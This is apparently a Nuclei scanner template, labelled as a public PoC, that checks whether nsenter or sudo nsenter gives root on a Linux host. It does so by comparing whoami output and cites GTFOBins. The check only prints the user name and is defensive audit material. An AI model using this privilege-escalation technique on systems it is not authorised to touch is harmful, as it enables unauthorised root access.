nsenter is a command-line utility in Linux that allows a user to enter into an existing namespace. It is commonly used for troubleshooting and managing namespaces in containerized environments. By using nsenter, users can enter into a specific namespace and execute commands within that namespace, which can be helpful for various system administration tasks.
PoC代码[已公开]
id: privesc-nsenter
info:
name: Nsenter - Privilege Escalation
author: daffainfo
severity: high
description: |
nsenter is a command-line utility in Linux that allows a user to enter into an existing namespace. It is commonly used for troubleshooting and managing namespaces in containerized environments. By using nsenter, users can enter into a specific namespace and execute commands within that namespace, which can be helpful for various system administration tasks.
reference:
- https://gtfobins.github.io/gtfobins/nsenter/
metadata:
verified: true
max-request: 3
tags: code,linux,nsenter,privesc,local
self-contained: true
code:
- engine:
- sh
- bash
source: |
whoami
- engine:
- sh
- bash
source: |
nsenter whoami
- engine:
- sh
- bash
source: |
sudo nsenter whoami
matchers-condition: and
matchers:
- type: word
part: code_1_response
words:
- "root"
negative: true
- type: dsl
dsl:
- 'contains(code_2_response, "root")'
- 'contains(code_3_response, "root")'
condition: or
# digest: 4a0a00473045022100b0fe9d2b38f98694097fd9a21fa5aae8da82af52cc5a08356271f513be48911b02200456e2a5eb63cf7eedb23f5dfdb2a2f451e385fe94a657b9c7dc1a0851ae8b61:922c64590222798bb761d5b6d8e72950